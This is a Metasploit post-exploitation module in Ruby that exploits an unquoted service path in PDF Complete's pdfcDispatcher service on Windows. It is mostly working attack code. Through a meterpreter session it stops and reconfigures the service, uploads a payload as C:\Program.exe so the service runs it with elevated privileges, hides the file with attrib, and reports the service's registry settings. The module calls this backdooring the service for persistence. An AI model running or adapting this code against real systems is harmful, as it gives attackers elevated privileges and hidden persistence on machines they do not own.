require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
def initialize(info={})
super (update_info(info,
'Name' => 'PDF complete - Unquoted Service Path Privilege Escalation' ,
'Description' => %q{
This post-exploitation module requires a meterpreter session to be able to upload/inject our Program.exe into pdfcDispatcher service. PDF Complete Corporate Edition installs a service with an unquoted service path. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file in the path of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges. "Warning: payload to be uploaded should be named as: Program.exe"
},
'License' => UNKNOWN_LICENSE ,
'Author' =>
[
'Vuln discover: Joey Lane' ,
'Module Author: pedr0 Ubuntu [r00t-3xp10it]' ,
'Special thanks: milton_barra|Chaitanya Haritash' ,
],
'Version' => '$Revision: 1.1' ,
'DisclosureDate' => 'out 27 2016' ,
'Platform' => 'windows' ,
'Arch' => 'x86_x64' ,
'Privileged' => 'false' ,
'Targets' =>
[
[ 'Windows XP' , 'Windows VISTA' , 'Windows 7' , 'Windows 8' , 'Windows 9' , 'Windows 10' ]
],
'DefaultTarget' => '3' ,
'References' =>
[
[ 'URL' , 'goo.gl/Etf934' ],
[ 'URL' , 'goo.gl/U54297' ],
],
'DefaultOptions' =>
{
'SESSION' => '1' ,
},
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString. new ( 'SESSION' , [ true , 'The session number to run this module on' ]),
OptString. new ( 'UPLOAD_PATH' , [ false , 'The full path of Program.exe to be uploaded' ]),
OptBool. new ( 'SERVICE_STATUS' , [ false , 'Check remote pdfcDispatcher service settings?' , false ]),
OptBool. new ( 'HIDDEN_ATTRIB' , [ false , 'Use Attrib command to Hide Program.exe?' , false ])
], self . class )
end
def unsupported
session = client
sys = session.sys.config.sysinfo
print_warning( "[ABORT]: Operative System => #{sys['OS']}" )
print_error( "Only windows systems are supported by this module..." )
print_error( "Please execute [info] for further information..." )
print_line( "" )
raise Rex::Script::Completed
end
def ls_stage1
r= ''
session = client
upath = datastore[ 'UPLOAD_PATH' ]
bin_path = "C:\\Program Files (x86)\\PDF Complete\\pdfsvc.exe"
if datastore[ 'UPLOAD_PATH' ] == 'nil'
print_error( "Options not configurated correctly..." )
print_warning( "Please set UPLOAD_PATH option..." )
return nil
else
print_status( "Persisting your payload in target system." )
client.sys.config.getprivs. each do |priv|
end
end
if client.fs.file.exist?( "#{bin_path}" )
print_warning( "pdfcDispatcher service:found..." )
sleep( 1 . 0 )
print_good( "Stoping pdfcDispatcher service..." )
r = session.sys.process.execute( "cmd.exe /c sc stop pdfcDispatcher" , nil , { 'Hidden' => true , 'Channelized' => true })
sleep( 2 . 0 )
print_good( "Setting service to auto-start with windows..." )
r = session.sys.process.execute( "cmd.exe /c sc config pdfcDispatcher start= auto" , nil , { 'Hidden' => true , 'Channelized' => true })
sleep( 2 . 0 )
print_good( "Uploading payload to target system..." )
client.fs.file.upload( "%temp%\\Program.exe" , "#{upath}" )
sleep( 2 . 0 )
print_good( "move payload to C: directory..." )
r = session.sys.process.execute( "cmd.exe /c move /y %temp%\\Program.exe C:\\Program.exe" , nil , { 'Hidden' => true , 'Channelized' => true })
sleep( 2 . 0 )
print_good( "Restarting pdfcDispatcher service..." )
r = session.sys.process.execute( "cmd.exe /c sc start pdfcDispatcher" , nil , { 'Hidden' => true , 'Channelized' => true })
sleep( 2 . 0 )
print_warning( "pdfcDispatcher service [binary_path_name] backdoored successefuly..." )
print_status( "Setup one handler and Wait everytime that system restarts OR" )
print_status( "Setup one handler and restart pdfcDispatcher service: sc start pdfcDispatcher" )
print_line( "" )
else
print_error( "#{bin_path} => NOT FOUND..." )
print_warning( "post-module has aborted all tasks in hands :( ..." )
print_line( "" )
end
r.channel.close
r.close
rescue :: Exception => e
print_error( "Error: #{e.class} #{e}" )
end
def ls_stage2
r= ''
session = client
hidden = "C:\\Program.exe"
if datastore[ 'HIDDEN_ATTRIB' ] == 'nil'
print_error( "Options not configurated correctly..." )
print_warning( "Please set HIDDEN_ATTRIB option..." )
return nil
else
print_status( "Using Attrib command to hide Program.exe..." )
client.sys.config.getprivs. each do |priv|
end
end
if client.fs.file.exist?( "#{hidden}" )
print_status( "Backdoor Program.exe file:found..." )
r = session.sys.process.execute( "cmd.exe /c attrib +h +s C:\\Program.exe" , nil , { 'Hidden' => true , 'Channelized' => true })
print_good( " Execute => attrib +h +s C:\\Program.exe" )
sleep( 2 . 0 )
print_status( "Our Program.exe its hidden from normal people..." )
print_status( "But dont feed the black hacker within :( ..." )
print_warning( "To revert attributes: attrib -h -s C:\\Program.exe" )
print_line( "" )
r.channel.close
r.close
else
print_error( "#{hidden} => NOT FOUND..." )
print_warning( "post-module has aborted all tasks in hands :( ..." )
print_line( "" )
end
rescue :: Exception => e
print_error( "Error: #{e.class} #{e}" )
end
def ls_stage3
r= ''
serv= "pdfcDispatcher"
session = client
sysnfo = session.sys.config.sysinfo
if datastore[ 'SERVICE_STATUS' ] == 'nil'
print_error( "Options not configurated correctly..." )
print_warning( "Please set SERVICE_STATUS option..." )
return nil
else
print_status( "Checking pdfcDispatcher service settings..." )
client.sys.config.getprivs. each do |priv|
end
end
print_warning( "Reading service hive registry keys..." )
if registry_getvaldata( "HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher" , "Start" ) == '2'
startup = "auto_start"
end
if registry_getvaldata( "HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher" , "Start" ) == '3'
startup = "manual_start"
end
if registry_getvaldata( "HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher" , "Start" ) == '4'
startup = "disabled_start"
else
startup = "unknow"
print_error( "post-module cant define service auto_start status..." )
print_warning( "enter into a shell session and execute: sc qc pdfcDispatcher status" )
end
sleep( 1 . 0 )
print_line( "" )
print_line( " :host => #{sysnfo['Computer']}" )
print_line( " :service => #{serv}" )
print_line( " :status => running" )
print_line( " :startup => #{startup}" )
print_line( "" )
rescue :: Exception => e
print_error( "Error: #{e.class} #{e}" )
end
def run
session = client
unsupported if client.platform !~ /win32|win64/i
sysnfo = session.sys.config.sysinfo
runtor = client.sys.config.getuid
runsession = client.session_host
directory = client.fs.dir.pwd
print_line( " +----------------------------------------------+" )
print_line( " | PRIVILEGE ESCALATION IN PDFDISPACHER SERVICE |" )
print_line( " | Author: Pedro Ubuntu [ r00t-3xp10it ] |" )
print_line( " +----------------------------------------------+" )
print_line( "" )
print_line( " Running on session : #{datastore['SESSION']}" )
print_line( " Computer : #{sysnfo['Computer']}" )
print_line( " Operative System : #{sysnfo['OS']}" )
print_line( " Target IP addr : #{runsession}" )
print_line( " Payload directory : #{directory}" )
print_line( " Client UID : #{runtor}" )
print_line( "" )
print_line( "" )
if datastore[ 'UPLOAD_PATH' ]
ls_stage1
end
if datastore[ 'HIDDEN_ATTRIB' ]
ls_stage2
end
if datastore[ 'SERVICE_STATUS' ]
ls_stage3
end
end
end
|